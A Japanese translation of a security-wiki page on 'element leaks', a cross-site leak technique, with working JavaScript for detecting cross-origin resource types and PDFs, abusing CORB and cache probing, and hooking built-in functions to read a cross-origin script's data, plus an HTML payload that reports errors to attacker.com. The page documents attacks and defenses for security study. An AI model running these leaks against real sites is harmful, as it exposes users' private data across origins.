Element leaks

Element leaks

Abuse HTMLElement
Category Attack
Defenses SameSite Cookies

一部のHTML要素は、クロスオリジンのページにデータの一部をリークさせるために使用される可能性があります。 たとえば、以下のようなメディアリソースは、サイズ、期間、種類に関する情報をリークさせる可能性があります。

  • HTMLMediaElementは、メディアのdurationbufferedの時間をリークします。
  • HTMLVideoElementvideoHeightvideoWidthをリークします。一部のブラウザでは、webkitVideoDecodedByteCountwebkitAudioDecodedByteCountwebkitDecodedFrameCountも含む可能性があります
  • getVideoPlaybackQuality()totalVideoFramesをリークします。
  • [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)はheightwidthをリークしますが、画像が無効な場合には、それらは0となり、image.decode()は拒否されます。

メディアタイプの固有のプロパティによって、メディアタイプを区別することができます。 たとえば、<video>の場合はvideoWidth<audio>の場合はdurationといった具合です。 以下のコードは、リソースの種類を返すサンプルコードを示しています。

async function getType(url) {
    // リソースがaudioもしくはvideoかどうかを検知
    let media = document.createElement("video");
    media.src = url;
    await new Promise(r=>setTimeout(r,50));
    if (media.videoWidth) {
    return "video";
    } else if (media.duration) {
    return "audio"
    }
    // リソースがimageかどうかを検知
    let image = new Image();
    image.src = url;
    await new Promise(r=>setTimeout(r,50));
    if (image.width) return "image";
}

CORBの悪用 #

CORB は、間違ったコンテンツタイプが使用された場合にレスポンスを空にするChromeの機能です。 これは、コンテンツタイプが間違っている場合、キャッシュされないことを意味します。 ifCached 関数についてはCache Probingの記事にて確認できます。

async function isType(url, type = "script") {
  let error = false;
  // urlをパージする
  await ifCached(url, true);
  // リソースの読み込みを試行
  let e = document.createElement(type);
  e.onerror = () => error = true;
  e.src = url;
  document.head.appendChild(e);
  // CORBで許可されていれば、キャッシュされるのを待つ
  await new Promise(resolve => setTimeout(resolve, 500));
  // クリーンアップ
  document.head.removeChild(e);
  // ブロックされた"images"の修正
  if (error) return false
  return ifCached(url);
}

getComputedStyleは、現在のページに埋め込まれたCSSスタイルシートを読み取るために使用することができます。 これは異なるオリジンから読み込まれたものも含みます。 この関数は、ボディに適用されたスタイルがあるかどうかをチェックするだけのものです。

async function isCSS(url) {
    let link = document.createElement('link');
    link.rel = 'stylesheet';
    link.type = 'text/css';
    link.href = url;
    let style1 = JSON.stringify(getComputedStyle(document.body));
    document.head.appendChild(link);
    await new Promise(resolve => setTimeout(resolve, 500));
    let style2 = JSON.stringify(getComputedStyle(document.body));
    document.head.removeChild(link);
    return (style1 !== style2);
}

PDF #

Open URL Parametersには、zoom, view, page, toolbar などのコンテンツを制御することができるものが用意されています。 chromeの場合、内部でembedを使用しているため、frame countingでPDFを検出することが可能です。

async function isPDF(url) {
    let w = open(url);
    await new Promise(resolve => setTimeout(resolve, 500));
    let result = (w.length === 1);
    w.close();
    return result;
}

warning

} ページに他の埋め込みがある場合、誤検知が発生します。

スクリプトタグ #

クロスオリジンのスクリプトがページに含まれる場合、その内容を直接読み取ることはできません。 しかし、スクリプトが組み込み関数を使用している場合には、関数を上書きすることでその引数を読むことができるため、機密情報をリークする可能性があります1

let hook = window.Array.prototype.push;
window.Array.prototype.push = function() {
    console.log(this);
    return hook.apply(this, arguments);
}

Javascriptが使用できない場合 #

JavaScriptが無効な場合でも、クロスオリジンのリソースに関するいくつかの情報が漏えいする可能性があります。 例えば、<object> を利用して、リソースがエラーコードで応答するかどうかを検出することができます。 リソース//example.org/resource<object data=//example.org/resource>fallback</object>でエラーを返した場合、fallbackがレンダリングされます2 3

内部に別の<object>を挿入して情報を外部サーバにリークしたり、CSS4で検出したりすることができます。

以下のコードは //example.org/404 を埋め込み、それが Error で応答した場合、 フォールバックとして//attacker.com/?error へのリクエストも行われます。

<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

対策 #

Attack AlternativeSameSite Cookies (Lax)COOPFraming ProtectionsIsolation Policies
Type leaks✔️RIP 🔗 NIP

参考文献 #


  1. The Unexpected Dangers of Dynamic JavaScript. link ↩︎

  2. HTML Standard, [3.2.5.2.6 Embedded content], link ↩︎

  3. Leaky Images: Targeted Privacy Attacks in the Web, [3.4 Linking User Identities], link ↩︎

  4. https://twitter.com/terjanq/status/1180477124861407234 ↩︎